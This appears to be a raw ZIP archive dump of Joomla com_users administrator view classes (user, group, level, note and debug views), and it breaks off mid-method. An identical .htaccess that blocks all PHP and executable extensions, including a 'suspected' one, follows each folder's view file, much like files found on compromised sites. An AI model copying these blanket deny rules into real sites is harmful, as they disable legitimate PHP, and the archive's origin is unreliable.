Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Toolbar\Toolbar; use Joomla\CMS\Toolbar\ToolbarHelper; use Joomla\CMS\User\UserFactoryAwareInterface; use Joomla\CMS\User\UserFactoryAwareTrait; use Joomla\Component\Users\Administrator\Helper\Mfa; use Joomla\Component\Users\Administrator\Model\UserModel; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * User view class. * * @since 1.5 */ class HtmlView extends BaseHtmlView implements UserFactoryAwareInterface { use UserFactoryAwareTrait; /** * The Form object * * @var \Joomla\CMS\Form\Form */ protected $form; /** * The active item * * @var object */ protected $item; /** * Gets the available groups * * @var array */ protected $grouplist; /** * The groups this user is assigned to * * @var array * @since 1.6 */ protected $groups; /** * The model state * * @var \Joomla\Registry\Registry */ protected $state; /** * The Multi-factor Authentication configuration interface for the user. * * @var string|null * @since 4.2.0 */ protected $mfaConfigurationUI; /** * Array of fieldsets not to display * * @var string[] * * @since 5.2.0 */ public $ignore_fieldsets = []; /** * Display the view * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void * * @since 1.5 */ public function display($tpl = null) { /** @var UserModel $model */ $model = $this->getModel(); $model->setUseExceptions(true); // If no item found, dont show the edit screen, redirect with message if (false === $this->item = $model->getItem()) { $app = Factory::getApplication(); $app->enqueueMessage(Text::_('JLIB_APPLICATION_ERROR_NOT_EXIST'), 'error'); $app->redirect('index.php?option=com_users&view=users'); } $this->form = $model->getForm(); $this->state = $model->getState(); // Prevent user from modifying own group(s) $user = $this->getCurrentUser(); if ((int) $user->id != (int) $this->item->id || $user->authorise('core.admin')) { $this->grouplist = $model->getGroups(); $this->groups = $model->getAssignedGroups(); } $this->form->setValue('password', null); $this->form->setValue('password2', null); $userBeingEdited = $this->getUserFactory()->loadUserById($this->item->id); if ($this->item->id > 0 && (int) $userBeingEdited->id == (int) $this->item->id) { try { $this->mfaConfigurationUI = Mfa::canShowConfigurationInterface($userBeingEdited) ? Mfa::getConfigurationInterface($userBeingEdited) : ''; } catch (\Exception) { // In case something goes really wrong with the plugins; prevents hard breaks. $this->mfaConfigurationUI = null; } } parent::display($tpl); $this->addToolbar(); } /** * Add the page title and toolbar. * * @return void * * @since 1.6 * @throws \Exception */ protected function addToolbar() { Factory::getApplication()->getInput()->set('hidemainmenu', true); $user = $this->getCurrentUser(); $canDo = ContentHelper::getActions('com_users'); $isNew = ($this->item->id == 0); $isProfile = $this->item->id == $user->id; $toolbar = $this->getDocument()->getToolbar(); ToolbarHelper::title( Text::_( $isNew ? 'COM_USERS_VIEW_NEW_USER_TITLE' : ($isProfile ? 'COM_USERS_VIEW_EDIT_PROFILE_TITLE' : 'COM_USERS_VIEW_EDIT_USER_TITLE') ), 'user ' . ($isNew ? 'user-add' : ($isProfile ? 'user-profile' : 'user-edit')) ); if ($canDo->get('core.edit') || $canDo->get('core.create') || $isProfile) { $toolbar->apply('user.apply'); } $saveGroup = $toolbar->dropdownButton('save-group'); $saveGroup->configure( function (Toolbar $childBar) use ($canDo, $isProfile) { if ($canDo->get('core.edit') || $canDo->get('core.create') || $isProfile) { $childBar->save('user.save'); } if ($canDo->get('core.create') && $canDo->get('core.manage')) { $childBar->save2new('user.save2new'); } } ); if (empty($this->item->id)) { $toolbar->cancel('user.cancel', 'JTOOLBAR_CANCEL'); } else { $toolbar->cancel('user.cancel'); } $toolbar->divider(); $toolbar->help('Users:_Edit_Profile'); } } PK ��\�Sʉ� � User/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK ��\d圆 � Levels/HtmlView.phpnu �[��� <?php /** * @package Joomla.Administrator * @subpackage com_users * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Administrator\View\Levels; use Joomla\CMS\Helper\ContentHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Toolbar\ToolbarHelper; use Joomla\Component\Users\Administrator\Model\LevelsModel; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * View class for a list of view levels. * * @since 1.6 */ class HtmlView extends BaseHtmlView { /** * The item data. * * @var object * @since 1.6 */ protected $items; /** * The pagination object. * * @var \Joomla\CMS\Pagination\Pagination * @since 1.6 */ protected $pagination; /** * The model state. * * @var \Joomla\Registry\Registry * @since 1.6 */ protected $state; /** * Form object for search filters * * @var \Joomla\CMS\Form\Form * * @since 4.0.0 */ public $filterForm; /** * The active search filters * * @var array * @since 4.0.0 */ public $activeFilters; /** * Display the view * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void */ public function display($tpl = null) { /** @var LevelsModel $model */ $model = $this->getModel(); $model->setUseExceptions(true); $this->items = $model->getItems(); $this->pagination = $model->getPagination(); $this->state = $model->getState(); $this->filterForm = $model->getFilterForm(); $this->activeFilters = $model->getActiveFilters(); $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @return void * * @since 1.6 */ protected function addToolbar() { $canDo = ContentHelper::getActions('com_users'); $toolbar = $this->getDocument()->getToolbar(); ToolbarHelper::title(Text::_('COM_USERS_VIEW_LEVELS_TITLE'), 'user-lock levels'); if ($canDo->get('core.create')) { $toolbar->addNew('level.add'); } if ($canDo->get('core.delete')) { $toolbar->delete('level.delete') ->message('JGLOBAL_CONFIRM_DELETE'); $toolbar->divider(); } if ($canDo->get('core.admin') || $canDo->get('core.options')) { $toolbar->preferences('com_users'); $toolbar->divider(); } $toolbar->help('Users:_Viewing_Access_Levels'); } } PK ��\�Sʉ� � Levels/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK ��\��� � Notes/HtmlView.phpnu �[��� <?php /** * @package Joomla.Administrator * @subpackage com_users * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Administrator\View\Notes; use Joomla\CMS\Helper\ContentHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Toolbar\Button\DropdownButton; use Joomla\CMS\Toolbar\ToolbarHelper; use Joomla\CMS\User\User; use Joomla\Component\Users\Administrator\Model\NotesModel; use Joomla\Registry\Registry; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * User notes list view * * @since 2.5 */ class HtmlView extends BaseHtmlView { /** * A list of user note objects. * * @var array * @since 2.5 */ protected $items; /** * The pagination object. * * @var \Joomla\CMS\Pagination\Pagination * @since 2.5 */ protected $pagination; /** * The model state. * * @var \Joomla\Registry\Registry * @since 2.5 */ protected $state; /** * The model state. * * @var User * @since 2.5 */ protected $user; /** * Form object for search filters * * @var \Joomla\CMS\Form\Form * * @since 4.0.0 */ public $filterForm; /** * The active search filters * * @var array * @since 4.0.0 */ public $activeFilters; /** * Is this view an Empty State * * @var boolean * @since 4.0.0 */ private $isEmptyState = false; /** * Override the display method for the view. * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void * * @since 2.5 */ public function display($tpl = null) { /** @var NotesModel $model */ $model = $this->getModel(); $model->setUseExceptions(true); // Initialise view variables. $this->items = $model->getItems(); $this->pagination = $model->getPagination(); $this->state = $model->getState(); $this->user = $model->getUser(); $this->filterForm = $model->getFilterForm(); $this->activeFilters = $model->getActiveFilters(); if (!\count($this->items) && $this->isEmptyState = $model->getIsEmptyState()) { $this->setLayout('emptystate'); } // Turn parameters into registry objects foreach ($this->items as $item) { $item->cparams = new Registry($item->category_params); } $this->addToolbar(); parent::display($tpl); } /** * Display the toolbar. * * @return void * * @since 2.5 */ protected function addToolbar() { $canDo = ContentHelper::getActions('com_users', 'category', $this->state->get('filter.category_id')); $toolbar = $this->getDocument()->getToolbar(); ToolbarHelper::title(Text::_('COM_USERS_VIEW_NOTES_TITLE'), 'users user'); if ($canDo->get('core.create')) { $toolbar->addNew('note.add'); } if (!$this->isEmptyState && ($canDo->get('core.edit.state') || $canDo->get('core.admin'))) { /** @var DropdownButton $dropdown */ $dropdown = $toolbar->dropdownButton('status-group', 'JTOOLBAR_CHANGE_STATUS') ->toggleSplit(false) ->icon('icon-ellipsis-h') ->buttonClass('btn btn-action') ->listCheck(true); $childBar = $dropdown->getChildToolbar(); if ($canDo->get('core.edit.state')) { $childBar->publish('notes.publish')->listCheck(true); $childBar->unpublish('notes.unpublish')->listCheck(true); $childBar->archive('notes.archive')->listCheck(true); $childBar->checkin('notes.checkin')->listCheck(true); } if ($this->state->get('filter.published') != -2 && $canDo->get('core.edit.state')) { $childBar->trash('notes.trash'); } } if (!$this->isEmptyState && $this->state->get('filter.published') == -2 && $canDo->get('core.delete')) { $toolbar->delete('notes.delete', 'JTOOLBAR_DELETE_FROM_TRASH') ->message('JGLOBAL_CONFIRM_DELETE') ->listCheck(true); } if ($canDo->get('core.admin') || $canDo->get('core.options')) { $toolbar->preferences('com_users'); } $toolbar->help('User_Notes'); } } PK ��\�Sʉ� � Notes/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK ��\��&x x Level/HtmlView.phpnu �[��� <?php /** * @package Joomla.Administrator * @subpackage com_users * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Administrator\View\Level; use Joomla\CMS\Factory; use Joomla\CMS\Helper\ContentHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\GenericDataException; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Toolbar\Toolbar; use Joomla\CMS\Toolbar\ToolbarHelper; use Joomla\Component\Users\Administrator\Model\LevelModel; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * View to edit a user view level. * * @since 1.6 */ class HtmlView extends BaseHtmlView { /** * The Form object * * @var \Joomla\CMS\Form\Form */ protected $form; /** * The item data. * * @var object * @since 1.6 */ protected $item; /** * The model state. * * @var \Joomla\Registry\Registry * @since 1.6 */ protected $state; /** * Display the view * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void */ public function display($tpl = null) { /** @var LevelModel $model */ $model = $this->getModel(); $this->form = $model->getForm(); $this->item = $model->getItem(); $this->state = $model->getState(); // Check for errors. if (\count($errors = $model->getErrors())) { throw new GenericDataException(implode("\n", $errors), 500); } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @return void * * @since 1.6 * @throws \Exception */ protected function addToolbar() { Factory::getApplication()->getInput()->set('hidemainmenu', true); $isNew = ($this->item->id == 0); $canDo = ContentHelper::getActions('com_users'); $toolbar = $this->getDocument()->getToolbar(); ToolbarHelper::title(Text::_($isNew ? 'COM_USERS_VIEW_NEW_LEVEL_TITLE' : 'COM_USERS_VIEW_EDIT_LEVEL_TITLE'), 'user-lock levels-add'); if ($canDo->get('core.edit') || $canDo->get('core.create')) { $toolbar->apply('level.apply'); } $saveGroup = $toolbar->dropdownButton('save-group'); $saveGroup->configure( function (Toolbar $childBar) use ($canDo, $isNew) { if ($canDo->get('core.edit') || $canDo->get('core.create')) { $childBar->save('level.save'); } if ($canDo->get('core.create')) { $childBar->save2new('level.save2new'); } // If an existing item, can save to a copy. if (!$isNew && $canDo->get('core.create')) { $childBar->save2copy('level.save2copy'); } } ); if (empty($this->item->id)) { $toolbar->cancel('level.cancel', 'JTOOLBAR_CANCEL'); } else { $toolbar->cancel('level.cancel'); } $toolbar->divider(); $toolbar->help('Users:_Edit_Viewing_Access_Level'); } } PK ��\�Sʉ� � Level/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK ��\2j� � Debuggroup/HtmlView.phpnu �[��� <?php /** * @package Joomla.Administrator * @subpackage com_users * * @copyright (C) 2010 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Administrator\View\Debuggroup; use Joomla\CMS\Access\Exception\NotAllowed; use Joomla\CMS\Helper\ContentHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Toolbar\ToolbarHelper; use Joomla\Component\Users\Administrator\Model\DebuggroupModel; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * View class for a list of User Group ACL permissions. * * @since 1.6 */ class HtmlView extends BaseHtmlView { /** * List of component actions * * @var array */ protected $actions; /** * The item data. * * @var object * @since 1.6 */ protected $items; /** * The pagination object. * * @var \Joomla\CMS\Pagination\Pagination * @since 1.6 */ protected $pagination; /** * The model state. * * @var \Joomla\Registry\Registry * @since 1.6 */ protected $state; /** * The id and title for the user group. * * @var \stdClass * @since 4.0.0 */ protected $group; /** * Form object for search filters * * @var \Joomla\CMS\Form\Form */ public $filterForm; /** * The active search filters * * @var array */ public $activeFilters; /** * Display the view * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void */ public function display($tpl = null) { // Access check. if (!$this->getCurrentUser()->authorise('core.manage', 'com_users')) { throw new NotAllowed(Text::_('JERROR_ALERTNOAUTHOR'), 403); } /** @var DebuggroupModel $model */ $model = $this->getModel(); $model->setUseExceptions(true); $this->actions = $model->getDebugActions(); $this->items = $model->getItems(); $this->pagination = $model->getPagination(); $this->state = $model->getState(); $this->group = $model->getGroup(); $this->filterForm = $model->getFilterForm(); $this->activeFilters = $model->getActiveFilters(); $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @return void * * @since 1.6 */ protected function addToolbar() { $canDo = ContentHelper::getActions('com_users'); $toolbar = $this->getDocument()->getToolbar(); ToolbarHelper::title(Text::sprintf('COM_USERS_VIEW_DEBUG_GROUP_TITLE', $this->group->id, $this->escape($this->group->title)), 'users groups'); $toolbar->cancel('group.cancel'); if ($canDo->get('core.admin') || $canDo->get('core.options')) { $toolbar->preferences('com_users'); $toolbar->divider(); } $toolbar->help('Permissions_for_Group'); } } PK ��\�Sʉ� � Debuggroup/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK ��\�FX54 4 Note/HtmlView.phpnu �[��� <?php /** * @package Joomla.Administrator * @subpackage com_users * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Administrator\View\Note; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\Helper\ContentHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\GenericDataException; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Toolbar\Toolbar; use Joomla\CMS\Toolbar\ToolbarHelper; use Joomla\Component\Users\Administrator\Model\NoteModel; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * User note edit view * * @since 2.5 */ class HtmlView extends BaseHtmlView { /** * The edit form. * * @var \Joomla\CMS\Form\Form * * @since 2.5 */ protected $form; /** * The item data. * * @var object * @since 2.5 */ protected $item; /** * The model state. * * @var \Joomla\Registry\Registry * @since 2.5 */ protected $state; /** * Override the display method for the view. * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void * * @since 2.5 * @throws \Exception */ public function display($tpl = null) { /** @var NoteModel $model */ $model = $this->getModel(); // Initialise view variables. $this->state = $model->getState(); $this->item = $model->getItem(); $this->form = $model->getForm(); // Check for errors. if (\count($errors = $model->getErrors())) { throw new GenericDataException(implode("\n", $errors), 500); } parent::display($tpl); $this->addToolbar(); } /** * Display the toolbar. * * @return void * * @since 2.5 * @throws \Exception */ protected function addToolbar() { $input = Factory::getApplication()->getInput(); $input->set('hidemainmenu', 1); $user = $this->getCurrentUser(); $isNew = ($this->item->id == 0); $checkedOut = !(\is_null($this->item->checked_out) || $this->item->checked_out == $user->id); $toolbar = $this->getDocument()->getToolbar(); // Since we don't track these assets at the item level, use the category id. $canDo = ContentHelper::getActions('com_users', 'category', $this->item->catid); ToolbarHelper::title(Text::_('COM_USERS_NOTES'), 'users user'); // If not checked out, can save the item. if (!$checkedOut && ($canDo->get('core.edit') || \count($user->getAuthorisedCategories('com_users', 'core.create')))) { $toolbar->apply('note.apply'); } $saveGroup = $toolbar->dropdownButton('save-group'); $saveGroup->configure( function (Toolbar $childBar) use ($checkedOut, $canDo, $user, $isNew) { // If not checked out, can save the item. if (!$checkedOut && ($canDo->get('core.edit') || \count($user->getAuthorisedCategories('com_users', 'core.create')))) { $childBar->save('note.save'); } if (!$checkedOut && \count($user->getAuthorisedCategories('com_users', 'core.create'))) { $childBar->save2new('note.save2new'); } // If an existing item, can save to a copy. if (!$isNew && (\count($user->getAuthorisedCategories('com_users', 'core.create')) > 0)) { $childBar->save2copy('note.save2copy'); } } ); if (empty($this->item->id)) { $toolbar->cancel('note.cancel', 'JTOOLBAR_CANCEL'); } else { $toolbar->cancel('note.cancel'); if (ComponentHelper::isEnabled('com_contenthistory') && $this->state->get('params')->get('save_history', 0) && $canDo->get('core.edit')) { $toolbar->versions('com_users.note', $this->item->id); } } $toolbar->divider(); $toolbar->help('User_Notes:_New_or_Edit'); } } PK ��\�Sʉ� � Note/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK ��\9hjr� � SiteTemplateTrait.phpnu �[��� <?php /** * @package Joomla.Administrator * @subpackage com_users * * @copyright (C) 2022 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Administrator\View; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Dynamically modify the frontend template when showing a MFA captive page. * * @since 4.2.0 */ trait SiteTemplateTrait { /** * Set a specific site template style in the frontend application * * @return void * @throws \Exception * @since 4.2.0 */ private function setSiteTemplateStyle(): void { $app = Factory::getApplication(); $templateStyle = (int) ComponentHelper::getParams('com_users')->get('captive_template', ''); if (empty($templateStyle) || !$app->isClient('site')) { return; } $itemId = $app->getInput()->get('Itemid'); if (!empty($itemId)) { return; } $app->getInput()->set('templateStyle', $templateStyle); try { $refApp = new \ReflectionObject($app); $refTemplate = $refApp->getProperty('template'); $refTemplate->setAccessible(true); $refTemplate->setValue($app, null); } catch (\ReflectionException) { return; } $template = $app->getTemplate(true); $app->set('theme', $template->template); $app->set('themeParams', $template->params); } } PK ��\u�o� � Debuguser/HtmlView.phpnu �[��� <?php /** * @package Joomla.Administrator * @subpackage com_users * * @copyright (C) 2010 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Administrator\View\Debuguser; use Joomla\CMS\Access\Exception\NotAllowed; use Joomla\CMS\Helper\ContentHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Toolbar\ToolbarHelper; use Joomla\CMS\User\User; use Joomla\Component\Users\Administrator\Model\DebuguserModel; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * View class for a list of User ACL permissions. * * @since 1.6 */ class HtmlView extends BaseHtmlView { /** * List of component actions * * @var array */ protected $actions; /** * The item data. * * @var object * @since 1.6 */ protected $items; /** * The pagination object. * * @var \Joomla\CMS\Pagination\Pagination * @since 1.6 */ protected $pagination; /** * The model state. * * @var \Joomla\Registry\Registry * @since 1.6 */ protected $state; /** * The user object of the user being debugged. * * @var User */ protected $user; /** * Form object for search filters * * @var \Joomla\CMS\Form\Form */ public $filterForm; /** * The active search filters * * @var array */ public $activeFilters; /** * Display the view * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void */ public function display($tpl = null) { // Access check. if (!$this->getCurrentUser()->authorise('core.manage', 'com_users')) { throw new NotAllowed(Text::_('JERROR_ALERTNOAUTHOR'), 403); } /** @var DebuguserModel $model */ $model = $this->getModel(); $model->setUseExceptions(true); $this->actions = $model->getDebugActions(); $this->items = $model->getItems(); $this->pagination = $model->getPagination(); $this->state = $model->getState(); $this->user = $model->getUser(); $this->filterForm = $model->getFilterForm(); $this->activeFilters = $model->getActiveFilters(); $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @return void * * @since 1.6 */ protected function addToolbar() { $canDo = ContentHelper::getActions('com_users'); $toolbar = $this->getDocument()->getToolbar(); ToolbarHelper::title(Text::sprintf('COM_USERS_VIEW_DEBUG_USER_TITLE', $this->user->id, $this->escape($this->user->name)), 'users user'); $toolbar->cancel('user.cancel'); if ($canDo->get('core.admin') || $canDo->get('core.options')) { $toolbar->preferences('com_users'); $toolbar->divider(); } $toolbar->help('Permissions_for_User'); } } PK ��\�Sʉ� � Debuguser/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK ��\�/N Group/HtmlView.phpnu �[��� <?php /** * @package Joomla.Administrator * @subpackage com_users * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Administrator\View\Group; use Joomla\CMS\Factory; use Joomla\CMS\Helper\ContentHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\GenericDataException; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Toolbar\Toolbar; use Joomla\CMS\Toolbar\ToolbarHelper; use Joomla\Component\Users\Administrator\Model\GroupModel; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * View to edit a user group. * * @since 1.6 */ class HtmlView extends BaseHtmlView { /** * The Form object * * @var \Joomla\CMS\Form\Form */ protected $form; /** * The item data. * * @var object * @since 1.6 */ protected $item; /** * The model state. * * @var \Joomla\Registry\Registry * @since 1.6 */ protected $state; /** * Array of fieldsets not to display * * @var string[] * * @since 5.2.0 */ public $ignore_fieldsets = []; /** * Display the view * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void */ public function display($tpl = null) { /** @var GroupModel $model */ $model = $this->getModel(); $this->state = $model->getState(); $this->item = $model->getItem(); $this->form = $model->getForm(); // Check for errors. if (\count($errors = $model->getErrors())) { throw new GenericDataException(implode("\n", $errors), 500); } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @return void * * @since 1.6 * @throws \Exception */ protected function addToolbar() { Factory::getApplication()->getInput()->set('hidemainmenu', true); $isNew = ($this->item->id == 0); $canDo = ContentHelper::getActions('com_users'); $toolbar = $this->getDocument()->getToolbar(); ToolbarHelper::title(Text::_($isNew ? 'COM_USERS_VIEW_NEW_GROUP_TITLE' : 'COM_USERS_VIEW_EDIT_GROUP_TITLE'), 'users-cog groups-add'); if ($canDo->get('core.edit') || $canDo->get('core.create')) { $toolbar->apply('group.apply'); } $saveGroup = $toolbar->dropdownButton('save-group'); $saveGroup->configure( function (Toolbar $childBar) use ($canDo, $isNew) { if ($canDo->get('core.edit') || $canDo->get('core.create')) { $childBar->save('group.save'); } if ($canDo->get('core.create')) { $childBar->save2new('group.save2new'); } // If an existing item, can save to a copy. if (!$isNew && $canDo->get('core.create')) { $childBar->save2copy('group.save2copy'); } } ); if (empty($this->item->id)) { $toolbar->cancel('group.cancel', 'JTOOLBAR_CANCEL'); } else { $toolbar->cancel('group.cancel'); } $toolbar->divider(); $toolbar->help('Users:_New_or_Edit_Group'); } } PK ��\�Sʉ� � Group/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK ��\��ա� � Users/HtmlView.phpnu �[��� <?php /** * @package Joomla.Administrator * @subpackage com_users * * @copyright (C) 2007 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Administrator\View\Users; use Joomla\CMS\Factory; use Joomla\CMS\Helper\ContentHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Toolbar\Button\DropdownButton; use Joomla\CMS\Toolbar\ToolbarHelper; use Joomla\Component\Users\Administrator\Model\UsersModel; use Joomla\Database\DatabaseDriver; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * View class for a list of users. * * @since 1.6 */ class HtmlView extends BaseHtmlView { /** * The item data. * * @var object * @since 1.6 */ protected $items; /** * The pagination object. * * @var \Joomla\CMS\Pagination\Pagination * @since 1.6 */ protected $pagination; /** * The model state. * * @var \Joomla\Registry\Registry * @since 1.6 */ protected $state; /** * A Form instance with filter fields. * * @var \Joomla\CMS\Form\Form * * @since 3.6.3 */ public $filterForm; /** * An array with active filters. * * @var array * @since 3.6.3 */ public $activeFilters; /** * An ACL object to verify user rights. * * @var \Joomla\Registry\Registry * @since 3.6.3 */ protected $canDo; /** * An instance of DatabaseDriver. * * @var DatabaseDriver * @since 3.6.3 * * @deprecated 4.3 will be removed in 6.0 * Will be removed without replacement use database from the container instead * Example: Factory::getContainer()->get(DatabaseInterface::class); */ protected $db; /** * Display the view * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void */ public function display($tpl = null) { /** @var UsersModel $model */ $model = $this->getModel(); $model->setUseExceptions(true); $this->items = $model->getItems(); $this->pagination = $model->getPagination(); $this->state = $model->getState(); $this->filterForm = $model->getFilterForm(); $this->activeFilters = $model->getActiveFilters(); $this->canDo = ContentHelper::getActions('com_users'); $this->db = Factory::getDbo(); $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @return void * * @since 1.6 */ protected function addToolbar() { $canDo = $this->canDo; $user = $this->getCurrentUser(); // Get the toolbar object instance $toolbar = $this->getDocument()->getToolbar(); ToolbarHelper::title(Text::_('COM_USERS_VIEW_USERS_TITLE'), 'users user'); if ($canDo->get('core.create')) { $toolbar->addNew('user.add'); } if ($canDo->get('core.edit.state') || $canDo->get('core.admin')) { /** @var DropdownButton $dropdown */ $dropdown = $toolbar->dropdownButton('status-group', 'JTOOLBAR_CHANGE_STATUS') ->toggleSplit(false) ->icon('icon-ellipsis-h') ->buttonClass('btn btn-action') ->listCheck(true); $childBar = $dropdown->getChildToolbar(); $childBar->publish('users.activate', 'COM_USERS_TOOLBAR_ACTIVATE'); $childBar->unpublish('users.block', 'COM_USERS_TOOLBAR_BLOCK'); $childBar->standardButton('unblock', 'COM_USERS_TOOLBAR_UNBLOCK', 'users.unblock') ->listCheck(true); // Add a batch button if ( $user->authorise('core.create', 'com_users') && $user->authorise('core.edit', 'com_users') && $user->authorise('core.edit.state', 'com_users') ) { $childBar->popupButton('batch', 'JTOOLBAR_BATCH') ->popupType('inline') ->textHeader(Text::_('COM_USERS_BATCH_OPTIONS')) ->url('#joomla-dialog-batch') ->modalWidth('800px') ->modalHeight('fit-content') ->listCheck(true); } if ($canDo->get('core.delete')) { 